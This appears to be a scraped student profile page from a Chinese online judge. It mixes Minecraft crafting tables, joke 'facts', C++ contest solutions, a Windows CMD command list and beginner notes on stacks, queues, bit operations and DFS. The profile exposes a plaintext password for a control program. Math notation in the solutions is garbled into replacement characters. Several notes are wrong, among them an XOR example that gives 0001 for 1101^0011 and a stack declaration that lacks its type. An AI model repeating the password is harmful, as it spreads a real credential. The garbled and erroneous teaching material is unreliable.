火把 Torches	煤碳和木棍 Coal & Stick		提供照明,避免刷怪,融化雪和冰块.
工作台 Crafting Table	木板 Wooden Planks		右键点击展开一个3X3的合成台.
熔炉 Furnace	圆石 Cobblestone		用来烧制烹饪物品.
箱子 Chest	木板 Wooden Planks		存放物品、迷路时暂存身上物品,两个箱子并排放可以增加存放空间.
梯子 Ladders	木棍 Sticks		用来爬墙.
栅栏 Fence		不跨越栅栏,别墅内的隔栏(装饰品)、防止跌落.
船 Boat	木板 Wooden Planks		在水中行驶.
木质台阶 Wooden Slabs		用于建造台阶、屋檐、窗台等.
石质台阶 Stone Slabs	石头,砖,石砖,砂石,圆石,地狱砖,石英 Stone or Brick or Stone Brick or Sandstone or Cobblestone or Nether Brick or Quartz
告示牌 Sign	木板和木棍 Wooden Planks & Stick		门牌、路标、告示牌、贴在楼梯两侧可组成沙发.
门 Doors	木板或者铁锭 Wooden Planks or Iron Ingots		木门能够用手打开或者红石系统打开. 铁门只能用红石系统打开.

方块合成

名称	材料	描述
萤石块 Glowstone	萤石粉 Glowstone Dust	能够用于水下照明.
雪块 Snow Block	雪球 Snowballs	建筑材料.
TNT	火药和沙子 Gunpowder & Sand	爆炸物.
粘土块 Clay Block	粘土 Clay	建筑材料.
砖块 Brick Block	红砖 Clay Bricks	坚硬的建筑材料.
书架 Bookshelf	木板和书本 Wooden Planks & Books	装饰和附魔.
沙石 Sandstone Block	沙子 Sand	建筑材料.
平滑沙石 Smooth Sandstone	沙石 Sandstone Block
錾制 Decorative Sandstone	沙质台阶 Sandstone Slabs
音符盒 Note Block	木板和红石 Wooden Planks & Redstone	当点击时发出音符.
南瓜灯 Jack-O Lantern	南瓜和火把 Pumpkin & Torch	光源.
青金石块 Lapis Lazuli Block	青金石染料 Lapis Lazuli Dye	存储青金石染料.
钻石块 Diamond Block	钻石 Diamonds	存储钻石.
金块 Gold Block	金锭 Gold Ingots	存储金锭.
铁块 Iron Block	铁锭 Iron Ingots	存储铁锭.
绿宝石块 Emerald Block	绿宝石 Emeralds	存储绿宝石.
石砖 Stone Brick	石头 Stone	建筑材料.
木质楼梯 Wooden Stairs	木板 Wooden Planks	做楼梯.
石质楼梯 Stone Stairs	圆石,沙,砖石,石砖,地狱砖,石英Cobblestone or Sandstone or Brick or Stone Brick or Nether Brick or Quartz
圆石墙 Cobblestone Wall	圆石或者苔石 Cobblestone or Moss Stone	类似于栅栏的作用.
红石块 Block of Redstone	红石 Redstone	红石电源.
地狱砖块 Nether Brick	地狱砖 Nether Brick (Item)	建筑材料.
石英块 Block of Quartz	下界石英 Nether Quartz
錾制石英块 Chiseled Quartz Block	石英台阶 Quartz Slabs
竖纹石英块 Pillar Quartz Block	石英块 Block of Quartz

工具合成

Name	Ingredients	Image	Description
镐 Pickaxe	木棍加木板或圆石或铁锭或金锭或钻石 Sticks & Wooden Planks or Cobblestone or Iron Ingots or Gold Ingots or Diamonds		挖方块和资源.
斧头 Axes		比用拳头砍树快.
锹 Shovels		用来挖沙子,沙砾,图,草和雪.
锄 Hoes		用来锄地.
钓鱼竿 Fishing Rod	木棍和线 Sticks & String		钓鱼.
打火石 Flint & Steel	铁锭和燧石 Iron Ingot & Flint		生火.
指南针 Compass	铁锭和红石 Iron Ingots & Redstone		指向出生点.
钟 Clock	金锭和红石 Gold Ingots & Redstone		显示时间和白天黑夜.
铁桶 Bucket	铁锭 Iron Ingots		用来装水,岩浆,牛奶.
剪刀 Shears		用来剪羊毛和树叶

防具合成

名称	材料	合成示意图	描述
头盔 Helmet	皮革或铁锭或金锭或钻石 Leather or Iron Ingots or Gold Ingots or Diamonds		提供1.5护甲值（钻石）.
胸甲 Chestplate		提供4点护甲值（钻石）.
护腿 Leggings		提供3点护甲值（钻石）.
靴子 Boots		提供1.5点护甲值（钻石）.
剑 Sword	木棍加上木板或圆石或铁锭或金锭或钻石 Sticks & Wooden Planks or Cobblestone or Iron Ingots or Gold Ingots or Diamonds		对怪物造成更多的伤害.
弓 Bow	线和木棍 String & Sticks		射箭.
箭 Arrow	燧石和木棍和羽毛 Flint & Stick & Feather		箭.

道具合成

名称	材料	描述
压力版 Pressure Plates	木板或石头 Wooden Planks or Stone	有生物或玩家站在上面时会发出红石信号.
活板门 Trapdoor	木板 Wooden Planks	可以通过右键点击和红石打开.
栅栏门 Fence Gate	木板和木棍 Wooden Planks & Sticks	可以像门一样被打开.
按钮 Button	石头或者木板 Stone or Wooden Plank	按下的时候发送一个短的红石信号.
拉杆 Lever	木棍和圆石 Stick & Cobblestone	通过开关来控制红石信号的输出.
中继器 Redstone Repeater	石头,红石火把,红石和石头 Stone & Redstone Torch & Redstone	红石电路的二极管或者延时器.
红石火把 Redstone Torch	木棍和红石 Stick & Redstone	不间断发送红石信号.
唱片机 Jukebox	木板和钻石 Wooden Planks & Diamond	播发唱片.
发射器 Dispenser	圆石,弓和红石 Cobblestone & Bow & Redstone	开启的适合发射物品.
活塞 Piston	木板,原始,铁锭和红石 Wooden Planks & Cobblestone & Iron Ingot & Redstone	推动方块.
粘性活塞 Sticky Piston	活塞和史莱姆球 Piston & Slime Ball	推拉方块.
矿车 Minecart	铁锭 Iron Ingots	在铁轨上行驶.
动力矿车 Powered Minecart	矿车和熔炉 Minecart & Furnace	烧碳来产生能量推动其他矿车前进.
运输矿车 Storage Minecart	矿车和箱子 Minecart & Chest	通过铁路运送材料和物资.
铁轨 Rail	铁锭和木棍 Iron Ingots & Stick	铁轨.
充能铁轨 Powered Rail	金锭,木棍和红石 Gold Ingots & Stick & Redstone	被激活的时候加速矿车.
探测铁轨 Detector Rail	铁锭,石质压力板和红石 Iron Ingots & Stone Pressure Plate & Redstone	矿车在其上面经过时产生红石信号.
红石灯 Redstone Lamp	红石和萤石块 Redstone & Glowstone Block	照明设施,需红石能量激活.
绊线 Tripwire Hook	铁锭,木棍和木板 Iron Ingot & Stick & Wooden Plank	通过时产生红石信号.
激活铁轨 Activator Rail	铁锭,木棍和红石火把 Iron Ingots & Sticks & Redstone Torch	常用来激活TNT矿车和漏斗矿车.
阳光传感器 Daylight Sensor	玻璃,下界石英和木板 Glass & Nether Quartz & Wooden Slabs	拜托发出红石信号.
投掷器 Dropper	圆石和红石 Cobblestone & Redstone	扔出物品（类似发射器）.
漏斗 Hopper	铁锭和箱子 Iron Ingots & Chest	物品通过漏斗在箱子中移进或者移出.
漏斗矿车 Minecart with Hopper	漏斗和矿车 Hopper & Minecart	类似漏斗的功能.
TNT矿车 Minecart with TNT	TNT和矿车 TNT & Minecart	通过激活的铁道发生爆炸或者手动爆炸.
红石比较器 Redstone Comparator	红石火把,原始和下界石英 Redstone Torches & Stone & Nether Quartz	仅在红石电路中使用.
陷进箱 Trapped Chest	箱子和绊线 Chest & Tripwire Hook	打开箱子的适合发出红石信号.
测重压力板 Weighted Pressure Plates	铁锭或者金锭 Iron Ingots or Gold Ingots	类似普通的压力板,但是只能用物品激活. 物品的数量绝对红石信号的强度.

食物合成

名称	材料	合成示意图	描述
碗 Bowl	木板 Wooden Planks		装蘑菇煲.
蘑菇煲 Mushroom Stew	碗,红蘑菇和棕色蘑菇Bowl & Red Mushroom & Brown Mushroom		恢复4点饥饿值.
面包 Bread	小麦 Wheat		恢复2.5点饥饿值.
金苹果 Golden Apple	苹果和金粒 Apple & Gold Nuggets		恢复2点饥饿值.
附魔金苹果 Enchanted Golden Apple	苹果和金块 Apple & Gold Blocks		恢复2点饥饿值. 同时给予30秒的抗火属性.
糖 Sugar	甘蔗 Sugar Cane		用来制作糕蛋.
糕蛋 Keca	牛奶桶,汤,小麦和鸡蛋 Milk Buckets & Sugar & Wheat & Egg		每块恢复1.5饥饿值,一共6块.
曲奇 Cookies	小麦和可可豆 Wheat & Cocoa Beans		恢复1点饥饿值.
西瓜 Melon Block	西瓜片 Melon Slice		西瓜.
西瓜种子 Melon Seeds		能够种植在耕地上.
南瓜种子 Pumpkin Seeds	南瓜 Pumpkin
金胡萝卜 Golden Carrot	胡萝卜和金粒 Carrot & Gold Nuggets		酿造原料,恢复3点饥饿值.
南瓜派 Pumpkin Pie	南瓜,鸡蛋和糖 Pumpkin & Egg & Sugar		恢复4点饥饿值.

其他合成

名称	材料	描述
床 Bed	木板和羊毛 Wooden Planks & Wool	在晚上睡觉快速度过夜晚.
画 Painting	木棍和羊毛 Sticks & Wool	装饰.
纸 Paper	甘蔗 Sugar Cane	用来制造地图和书本.
书 Book	纸 Paper	用来制造书架和书与笔.
书与笔 Book and Quill	书,羽毛和墨囊 Book & Feather & Ink Sac	能够写文章.
地图 Map	纸和指南针 Paper & Compass	能够显示附近一块的地图.
玻璃板 Glass Pane	玻璃 Glass Blocks	类似栅栏的窗格玻璃.
铁栏杆 Iron Bars	铁锭 Iron Ingots	类似栅栏但是只有1个方块的高度.
金锭 Gold Ingot	金粒 Gold Nugget	用来制造其他东西.
地狱砖栅栏 Nether Brick Fence	地狱砖块 Nether Brick	类似普通的栅栏只不过原料不同.
末影之眼 Eye of Ender	末影珍珠和烈焰粉 Ender Pearl & Blaze Powder	定位末地传送门.
附魔台 Enchantment Table	书,钻石和黑曜石 Book, Diamond & Obsidian.	用来附魔工具.
火焰弹 Fire Charge	烈焰粉,碳和火药 Blaze Powder & Coal & Gunpowder	能够通过发射器发射的火球.
末影箱 Ender Chest	黑曜石和末影之眼 Obsidian & Eye of Ender	用于储存. 所有末影箱共享一个物品栏.
信标 Beacon	玻璃,黑曜石和下界之心 Glass & Obsidian & Nether Star	用于放置在钻石块，金块，绿宝石块或铁块（或这四种方块的任意组合）结构的金字塔顶端，可以向天空直射光束的功能型方块.
铁跕 Anvil	铁块和铁锭 Iron Block & Iron Ingot	修复物品和合并附魔.
花盆 Flower Pot	红砖 Bricks	装饰.
物品展示框 Item Frame	木棍和皮革 Sticks & Leather	放在墙上展示物品和方块.
萝卜钓竿 Carrot on a Stick	钓竿和胡萝卜 Fishing Rod & Carrot	控制猪.
烟花火箭 Firework Rocket	火药,纸和烟火之星 Gunpowder & Paper & Firework Star	烟花.
烟火之星 Firework Star	火药,燃料和附加物品（可选） Gunpowder & Dye & an extra ingredient (optional)	不同的烟火之星决定不同的烟花效果.

染料合成

名称	材料	合成示意图	描述
骨粉 Bone Meal	骨头 Bone		用来使农作物树木快速长大.
淡灰色染料 Light Gray Dye	骨粉和墨囊 Bonemeal & Ink Sac		用于制作淡灰色羊毛.
灰色染料 Gray Dye		用于制作灰色羊毛.
玫瑰红 Rose Red	玫瑰花 Rose		用于制作红色羊毛.
橙色染料 Orange Dye	玫瑰红和蒲公英黄 Rose Red & Dandelion Yellow		用于制作橙色羊毛.
蒲公英黄 Dandelion Yellow	蒲公英 Dandelion		用于制作黄色羊毛.
黄绿色染料 Lime Dye	仙人掌绿和骨粉 Cactus Green & Bone Meal		用于制作黄绿色羊毛.
淡蓝色染料 Light Blue Dye	青金石染料和骨粉 Lapis Lazuli Dye & Bone Meal		用于制作淡蓝色羊毛.
青色染料 Cyan Dye	青金石染料和仙人掌绿 Lapis Lazuli Dye & Cactus Green		用于制作青色羊毛.
紫色染料 Purple Dye	青金石染料和玫瑰红 Lapis Lazuli Dye & Rose Red		用于制作紫色羊毛.
品红染料 Magenta Dye	粉红色染料和紫色染料 Purple Dye & Pink Dye		用于制作品红羊毛.
粉红色染料 Pink Dye	骨粉和玫瑰红 Bone Meal & Rose Red		用于制作粉红色羊毛.

羊毛合成

名称	材料	描述
羊毛 Wool	线 String	建筑材料能被染色.
浅灰色羊毛 Light Gray Wool	羊毛和浅灰色染料 Wool & Light Gray Dye	建筑和装饰材料.
灰色羊毛 Gray Wool	羊毛和灰色染料 Wool & Gray Dye
黑色羊毛 Black Wool	羊毛和墨囊 Wool & Ink Sac
红色羊毛 Red Wool	羊毛和玫瑰红 Wool & Rose Red
橙色羊毛 Orange Wool	羊毛和橙色染料 Wool & Orange Dye
黄色羊毛 Yellow Wool	羊毛和蒲公英黄 Wool & Dandelion Yellow
黄绿色羊毛 Lime Wool	羊毛和黄绿色染料 Wool & Lime Dye
绿色羊毛 Green Wool	羊毛和仙人掌绿 Wool & Cactus Green
淡蓝色羊毛 Light Blue Wool	羊毛和淡蓝色染料 Wool & Light Blue Dye
青色羊毛 Cyan Wool	羊毛和青色染料 Wool & Cyan Dye
蓝色羊毛 Blue Wool	羊毛和青金石染料 Wool & Lapis Lazuli Dye
紫色羊毛 Purple Wool	羊毛和紫色染料 Wool & Purple Dye
品红色羊毛 Magenta Wool	羊毛和品红色染料 Wool & Magenta Dye
粉红色羊毛 Pink Wool	羊毛和粉红色染料 Wool & Pink Dye
棕色羊毛 Brown Wool	羊毛和可可豆 Wool & Cocoa Beans

文学区

1、人被杀，就会死

2、当你左脸被打，你的右脸就不会痛

3、据研究每呼吸60秒，就减少1分钟寿命

4、中国人在睡觉时，大多数美国人在工作

5、凡是每天憋尿过多的人，有高几率100年内死去

6、谁能想到，一名16岁少女，4年前只是一-位12岁少女

7、当蝴蝶在南半球拍了两下翅膀，它就会稍微飞高一些

8、如果你每天省下来一包烟钱，10天后你就能买10包烟

9、当你吃下了20碗米饭，换算下来竟然相当于摄入了20碗米饭的热量

10、中国教英语方式有极大错误，在美国就连小学生都能说一口流利的英语

我兄弟的情书💌

电脑个性化：https://zhutix.com/ 上网址自己下。

猫咪桌宠：http://www.ddooo.com/softdown/190036.htm 上网址自己下。

sans的合照

高达的自拍

报错信息阵营

函数

好玩的游戏

削巴（学霸）都在看的笔记

我兄弟的情书💌

CF1203B Equal Rectangles tj

一道简单的贪心+排序做法。

思路

首先将这 4×�4×n 个木棍进行排序，然后先计算出最小乘最大的面积，再用一个 while 循环进行依次判断即可。

判断条件为：

由于长方形对边相等，所以需判断对边是否相等。
两边相乘，要与最小乘最大的面积所相等。

如果两个条件相等，那就输出 YES，反之则输出 NO。

AC Code：

#include <bits/stdc++.h>
#define ll long long
#define endl '\n'

using namespace std;
const int E=1e6+5;
ll t;
ll n;
ll arr[E];
ll i,j;
inline void read(ll &x){//快读
	char ch=getchar();ll f=1;x=0;
	while(!isdigit(ch) && ch^'-') ch=getchar();
	if(ch=='-') f=-1,ch=getchar();
	while(isdigit(ch)) x=x*10+ch-'0',ch=getchar();
	x*=f;
}
inline void write(ll x){//快写，不过代码好像没用上
    if(x<0){
    	putchar('-');
		x=-x;
	}
    if(x>9)
		write(x/10);
    putchar(x%10+'0');
}
int main(){
	read(t);
	while(t--){
		read(n);
		for(int i=1;i<=4*n;i++){
			read(arr[i]);
		}
		stable_sort(arr+1,arr+4*n+1);//似乎排序要快些
		ll S=arr[1]*arr[4*n];
		bool flag=true;
		i=1;j=4*n;
		while(i<j){
			if(arr[i]!=arr[i+1] || arr[j]!=arr[j-1] || arr[i]*arr[j]!=S){//判断两个条件是否成立
				cout <<"NO\n";
				flag=false;
				break;
			}
			i+=2;
			j-=2;
		}
		if(flag==true){
			cout <<"YES\n";
		}
	}
    return 0;//完结撒花！
}

Copy

P9459 浴眼盯真 tj

一道很简单的字符串 if 判断。

思路

首先，输入整数 �T，代表有 �T 组数据。

然后，输入 44 个字符串 �,�,�,�a,b,c,d，再判断：

�,�a,b 的首字母均为 yy。
�c 恰好等于 dingding。
�d 恰好等于 zhenzhen。

如果所有条件都满足，就输出 Yes，反之则输出 No。

AC Code

#include <bits/stdc++.h>
#define ll long long
#define endl '\n'

using namespace std;
const int E=1e6+5;
string a,b,c,d;
ll n;
int main(){
	cin >>n;
	for(int i=0;i<n;i++){
		cin >>a>>b>>c>>d;
		if(a[0]=='y' && b[0]=='y' && c=="ding" && d=="zhen"){
			cout <<"Yes\n";
		}
		else{
			cout <<"No\n";
		}
	}
    return 0;
}

Copy

SP21357 CEQU - Crucial Equation tj

运用知识

以下资料取自百度百科。

裴蜀定理（或贝祖定理）得名于法国数学家艾蒂安·裴蜀，说明了对任何整数 �,�a,b 和它们的最大公约数 �d，关于未知数 �x 和 �y 的线性不定方程（称为裴蜀等式）：若 �,�a,b 是整数,且 gcd⁡(�,�)=�gcd(a,b)**=d，那么对于任意的整数 �,�,��+��x,y,ax**+by** 都一定是 �d** 的倍数，特别地，一定存在整数 �,�x,y，使 ��+��=�ax**+by**=d 成立。它的一个重要推论是：�,�a,b 互质的充分必要条件是存在整数 �,�x,y 使 ��+��=1ax**+by**=1。

题目思路

运用裴蜀定理进行模拟即可。可以时输出 Yes，反之则输出 No。

Tips：由于要将字符串及变量同时输出，所以这里选用 printf 来输出。

AC Code

#include <bits/stdc++.h>
#define ll long long
#define endl '\n'

using namespace std;
const int E=1e6+5;
ll n,a,b,c;
int main(){
	cin >>n;
	for(int i=0;i<n;i++){
		cin >>a>>b>>c;
		if((c%__gcd(a,b))==0){
			printf("Case %d: Yes\n",i+1);
			continue;
		}
		printf("Case %d: No\n",i+1);
	}
    en:
    return 0;
}

Copy

CF1203A tj

这是一道简单的模拟题。

思路

只需判断这些学生能否能按顺时针或逆时针跳舞即可，能的输出 YES，不能输出 NO 即可。

AC Code：

#include <bits/stdc++.h>
#define ll long long
#define endl '\n'

using namespace std;
const int E=1e6+5;
ll q;
ll arr[E];
int main(){
	cin >>q;
	for(int i=0;i<q;i++){
		ll n;
		bool flag=1,flag1=1;
		cin >>n;
		for(int j=1;j<=n;j++){
			cin >>arr[j];
		}
		//逆时针
		for(int j=1;j<n;j++){
			if(arr[j]-1!=arr[j+1] && !(arr[j]==1 && arr[j+1]==n)){
				flag=0;
				break;
			}
		}
		if(flag){
			cout <<"YES\n";
			continue;
		}
		//顺时针 
		for(int j=1;j<n;j++){
			if(arr[j]+1!=arr[j+1] && !(arr[j]==n && arr[j+1]==1)){
				flag1=0;
				break;
			}
		}
		if(flag1){
			cout <<"YES\n";
			continue;
		}
		cout <<"NO\n";
	}
	en:
    return 0;
}

Copy

AT_tkppc4_1_c tj

思路

不难发现，这是一道判断进制的题。

我们只需枚举 22 到 1010 的进制，判断有没有一样的就行了。

tips：数据范围：10181018，要开 long long。

AC Code：

#include <bits/stdc++.h>
#define ll long long
#define endl '\n'

using namespace std;
const int E=1e6+114514;
ll n;
string d;
char test[E]={"0123456789"};
string zhuanhuan(ll x,ll a){
	string arr;
	while(x){
		arr+=test[x%a];
		x/=a;
	}
	reverse(arr.begin(), arr.end());
	return arr;
}
int main(){
	cin >>n>>d;
	for(int i=2;i<=10;i++){
		if(zhuanhuan(n,i)==d){
			cout <<i<<endl;
			return 0;
		}
	}
	return 0;
}

Copy

P9373 「DROI」Round 2 构造与取模 tj

思路1：暴力枚举

用一个循环进行枚举，判断 �+�=�∧� mod �=�x+y=n ∧ xmody=k 是否成立即可。

20pts代码：

#include <bits/stdc++.h>
using namespace std;
int main(){
	long long n;
	cin >>n;
	for(int i=0;i<n;i++){
		long long a,b;
		bool flag=false;
		cin >>a>>b;
		for(long long j=1;j<=a;j++){
			long long k=a-j;
			if(k+j==a && k%j==b){
				cout <<k<<" "<<j<<endl;
				flag=true;
				break;
			}
		}
		if(flag==false){
			cout <<-1<<endl;
		}
	}
	return 0;
}

Copy

思路2：推结论

经过我们的思考，我们发现了这样一个结论：

当输入的 �,�n,k 满足 �>⌊�−12⌋k>**⌊2n−1**⌋** 时无解，否则就一定有解，此时输出 �k** 和 �−�n−k 即可。

由于是分支结构，所以时间复杂度： �(�)O(T) ， �≤5T≤5 ，肯定不会 TLE 。

AC Code：

#include <bits/stdc++.h>//万能头文件 
#define ll long long//简化代码 
#define endl '\n'//让换行变得更快 

using namespace std;
const int E=1e6+5;
ll t;
int main(){
	cin >>t;
	for(int i=0;i<t;i++){
		ll n,k;
		cin >>n>>k;
		if(k>(n-1)/2){
			cout <<-1<<endl;
		}
		else{
			cout <<k<<" "<<n-k<<endl;
		}
	}
    return 0;
}
//完结撒花！

Copy

三、Windows CMD命令大全

gpedit.msc-----组策略
sndrec32-------录音机
Nslookup-------IP地址侦测器，是一个监测网络中 DNS 服务器是否能正确实现域名解析的命令行工具。它在 Windows NT/2000/XP 中均可使用 , 但在 Windows 98 中却没有集成这一个工具。
explorer-------打开资源管理器
logoff---------注销命令
shutdown-------60秒倒计时关机命令
lusrmgr.msc----本机用户和组
services.msc---本地服务设置
oobe/msoobe /a----检查XP是否激活
notepad--------打开记事本
cleanmgr-------垃圾整理
net start messenger----开始信使服务
compmgmt.msc---计算机管理
net stop messenger-----停止信使服务
conf-----------启动netmeeting
dvdplay--------DVD播放器
charmap--------启动字符映射表
diskmgmt.msc---磁盘管理实用程序
calc-----------启动计算器
dfrg.msc-------磁盘碎片整理程序
chkdsk.exe-----Chkdsk磁盘检查
devmgmt.msc--- 设备管理器
regsvr32 /u *.dll----停止dll文件运行
drwtsn32------ 系统医生
rononce -p----15秒关机
dxdiag---------检查DirectX信息
regedt32-------注册表编辑器
Msconfig.exe---系统配置实用程序
rsop.msc-------组策略结果集
mem.exe--------显示内存使用情况
regedit.exe----注册表
winchat--------XP自带局域网聊天
progman--------程序管理器
winmsd---------系统信息
perfmon.msc----计算机性能监测程序
winver---------检查Windows版本
sfc /scannow-----扫描错误并复原
taskmgr-----任务管理器(2000/xp/2003
wmimgmt.msc----打开windows管理体系结构(WMI)
wupdmgr--------windows更新程序
wscript--------windows脚本宿主设置
write----------写字板
wiaacmgr-------扫描仪和照相机向导
winchat--------XP自带局域网聊天
mplayer2-------简易widnows media player
mspaint--------画图板
mstsc----------远程桌面连接
magnify--------放大镜实用程序
mmc------------打开控制台
mobsync--------同步命令
iexpress-------木马捆绑工具，系统自带
fsmgmt.msc-----共享文件夹管理器
utilman--------辅助工具管理器
dcomcnfg-------打开系统组件服务
ddeshare-------打开DDE共享设置
osk------------打开屏幕键盘
odbcad32-------ODBC数据源管理器
oobe/msoobe /a----检查XP是否激活
ntbackup-------系统备份和还原
narrator-------屏幕“讲述人”
ntmsmgr.msc----移动存储管理器
ntmsoprq.msc---移动存储管理员操作请求
netstat -an----(TC)命令检查接口
syncapp--------创建一个公文包
sysedit--------系统配置编辑器
sigverif-------文件签名验证程序
ciadv.msc------索引服务程序
shrpubw--------创建共享文件夹
secpol.msc-----本地安全策略
syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码
services.msc---本地服务设置
Sndvol32-------音量控制程序
sfc.exe--------系统文件检查器
sfc /scannow---windows文件保护
ciadv.msc------索引服务程序
tourstart------xp简介(安装完成后出现的漫游xp程序)
taskmgr--------任务管理器
eventvwr-------事件查看器
eudcedit-------造字程序
compmgmt.msc---计算机管理
packager-------对象包装程序
perfmon.msc----计算机性能监测程序
charmap--------启动字符映射表
cliconfg-------SQL SERVER 客户端网络实用程序
Clipbrd--------剪贴板查看器
conf-----------启动netmeeting
certmgr.msc----证书管理实用程序
regsvr32 /u *.dll----停止dll文件运行
regsvr32 /u zipfldr.dll------取消ZIP支持
cmd.exe--------CMD命令提示符

437

已递交

411

已通过

题解被赞

题目标签

初窥门径135略有小成83顺序结构53一本通编程启蒙53循环结构50驾轻就熟47分支结构43字符串36循环嵌套21排序20一维数组15二维数组14递推12结构体10融会贯通10栈9其他8递归8搜索8电子学会三级8

状态

开发

开源
API

支持

关于
联系我们
隐私
服务条款
版权申诉
Language
兼容模式
主题
Worker 0, 171ms
Powered by Hydro v4.9.27 Community
. [![]1.
首页
题库
训练
比赛
作业
讨论
更多
CQ04CPCOO23016
穆宏斌

NKZKY

UID: 4463, 注册于 4 个月前, 最后登录于 46 分钟前, 最后活动于 1 分钟前.

解决了 18 道题目，RP: 133.6 (No. 13)

个人简介
通过的题目
最近活动
最近编写的题解

动作越丑，刹球越猛；动作越帅，打球越菜

"The uglier the action, the stronger the kill; The more handsome the action, the more difficult it is to play the ball"

Dawn has arrived, that's all.

你干嘛~~还海哟...

XMW控制软件密码(worning): xiaoma00125

----------------------[AC]---------------------

/C++万能头/：#include<bits/stdc++.h>

freopen("test.txt","w",stdout)——将控制台控制（输出）改为文件控制（输出），用于oj上某些题要求，且此代码必须写于int main(){}大括号之中`

freopen("A.in","r",stdin)（输入） freopen("A.out","w",stdout)（输出）,规则如上

0~n个一的求法：(1<<n)-1

从小到大数组排序：

一. sort——sort（列表名称,列表名称+列表元素数量）

二. bool——bool cmp（int x,int y） { //return x<y; 从小到大排序 //return x>y; 从大到小排序 }

三.

1、栈列的定义 stack<关键词> 栈名;

2、栈列的基本操作栈名.操作函数名() 栈名.push(入栈元素) //入栈栈名.pop() //出栈栈名.stack() //返回值为栈头栈名.size() //返回值为栈中元素个数栈名.empty() //栈空返回 true 不空返回false 栈名.empty() //栈空返回 true 不空返回false

要执行出栈和查看栈顶操作时--栈必须非空

//基础栈代码
#include<bits/stdc++.h>
using namespace std;
int main()
{
//创建一个栈
//	stack<类型> 栈名1;
stack stk;
stk.push(1);
stk.push(3);
stk.push(2);
stk.pop();//这个不能输出
cout << "栈顶" << stk.top() << endl;
cout << "栈中元素个数" << stk.size() << endl;
cout << "栈是否为空，空是true,不空是false" << stk.empty() << endl;
//连续输入多个元素
int n;
cin >> n;
for(int i=1;i<=n;i++)
{
int x;
cin >>x;
stk.push(x);
}
//遍历栈中元素
while( !stk.empty() )
{
cout << stk.top() << " ";
stk.pop();
}
return 0;
}

Copy

queue<关键词> 队名;
2、队列的基本操作
队名.操作函数名()
队名.push(入栈元素) //入队
队名.pop()          //出队
队名.front()          //返回值为队头
队名.back()         //返回队尾
队名.size()         //返回值为队中元素个数
队名.empty()        //栈空返回 true 不空返回false
!队名.empty()        //栈空返回 true 不空返回false

Copy

**min(a,b);//返回a,b的较小值
max(a,b);//返回a,b的较大值
abs(x);//返回x的绝对值
pow(a,b);//返回a的b次方
sqrt(a);//返回更号a**

Copy

按位与& (同1则1，一0则0)

例如

3&5
   0011
&  0101
-----------
   0001
3&5 = 1

Copy

按位或| (同0则0，一1则1)

例如

3|5
   0011
|  0101
-----------
   0111
3|5 = 7

Copy

按位取反~ (01互换)

例如1

~3（8位二进制数）
~   0000 0011
----------------
    1111 1100
~3=-4

Copy

按位异或^ (不同为1，相同为0)

例如

3^5
   0011
^  0101
-----------
   0110
3^5 = 6

Copy

位运算符

左移运算：`<<`

用法： x<<y

作用：将表示 x 的二进制数的每一位左移 y 位，移出去的数就丢掉，空余地方用 0 补位。

例如：一个二进制数 10101011 将其左移 3 位，得到 01011000。

右移运算：`>>`

用法： x>>y

作用：将表示 x 的二进制数的每一位右移 y 位，移出去的数就丢掉，空余地方用 0 补位。

例如：一个二进制数 10101011 将其右移 3 位，得到 00010101。

按位与运算： `&`

用法：x&y

作用：按位进行与运算。

例如：1101 和 0011 进行与运算就为：0001。

按位或运算： `|`

用法：x|y

作用：按位进行或运算。

例如：1101 和 0011 进行或运算就为：1111。

按位异或运算： `^`

用法：x^y

作用：按位进行异或运算。

例如：1101 和 0011 进行异或运算就为：0001。

按位非运算： `~`

用法：~x

作用：按位进行非运算。

例如：1101进行非运算就为：0010。

状态压缩常用位运算符技巧

1.取出x的第k位:

y = x&(1<<(k-1));//i<<(k-1)能够做成一个第k为1，其余位为0，如:10000 的二进制数，再结合位与运算就能提取到变量x的二进制中第k位数为1还是0了，常用于判断

Copy

2.将x第k位取反:

x ^= (1<<(k-1));//通过左移制作一个10000般的二进制数，然后结合异或运算的特点，将变量x的二进制中第k位数取反

Copy

3.将x第k位变为1：

x |= (1<<(k-1));//通过左移制作一个10000般的二进制数，然后结合异或运算的特点，将变量x的二进制中第k位数修改为1

Copy

4.将x第k位变为0：

x &= (~(1<<(k-1))); //通过左移制作一个0001 0000般的二进制数，然后位非运算将其修改为1110 0000般的二进制数，最后结合位与运算的特点，将变量x的二进制中第k位数修改为0

Copy

5.将x最靠右的1去掉：

x = x&(x-1); //减去1会将数字二进制中末尾的1去掉，然后需要借位的地方全变为1，如原1010 0000，减去1后变成1001 1111，再进位与运算得1000 0000，相当于去掉末尾1

Copy

6.取出x最靠右的1:

y = x&(-x); //结合负数的二进制的特点，如数字20的二进制为0001 0100，-20的二进制为1110 1100，再进行位与运算能够获取到二进制数100也就是4，及提前数字x中包含的最大2的指数值

Copy

7.判断是否有两个连续的一：

if(x&(x<<1)) cout<<"YES"; //左移后的数字会进行偏移，如13的二进制0000 1101，左移后未0001 1010，再进行位与运算，连续的1会在偏移后有至少一个1重叠，让结果不为0，如果结果为0，说明不存在连续的1;

Copy

memset(数组名，0，sizeof 数组名);//只能置为0或者-1

递归排序（利用树生成，树，图论等）

//n个球摸m次可放回
#include<iostream>
#include<cstdio>
using namespace std;
int q[105];//q[x] = y 表示第x次摸到的是y号球 
int n,m;//n个球摸m次 
void dfs(int k)//表示第k次摸球    n个球摸m次 
{
	if(k>m)//摸第m+1次结束 
	{
		for(int i=1;i<=m;i++)cout << q[i] << " ";
		cout << endl;
		return ;
	}
	for(int i=1;i<=n;i++)//一共有1~n个球 
	{
		q[k] = i;//第k次摸了i号球 
		dfs(k+1);//第k+1次摸球 
	} 
} 
int main()
{
	cin >> n >> m;
	dfs(1);
	return 0;
}

Copy

//n个球摸m次不放回
#include<iostream>
#include<cstdio>
using namespace std;
int q[105];
int vis[105];//vis[1]=1
int n,m;
void dfs(int k)//表示第k次摸球    n个球摸m次 
{
	if(k>m)
	{
		for(int i=1;i<=m;i++)cout << q[i] << " ";
		cout << endl;
		return ;
	}
	for(int i=1;i<=n;i++)
	{
		if( vis[i] ) continue;
		q[k] = i;
		vis[i] = 1;
		dfs(k+1); 
		vis[i] = 0;//回溯 
	} 
} 
int main()
{
	cin >> n >> m;
	dfs(1);
	return 0;
}

Copy

//n个球摸m个的情况
#include<iostream>
#include<cstdio>
using namespace std;
int q[105];
int vis[105];//vis[1]=1
int n,m;
void dfs(int k,int pre)//表示第k次摸球    n个球摸m次 
{
	if(k>m)
	{
		for(int i=1;i<=m;i++)cout << q[i] << " ";
		cout << endl;
		return ;
	}
	for(int i=pre+1;i<=n;i++)
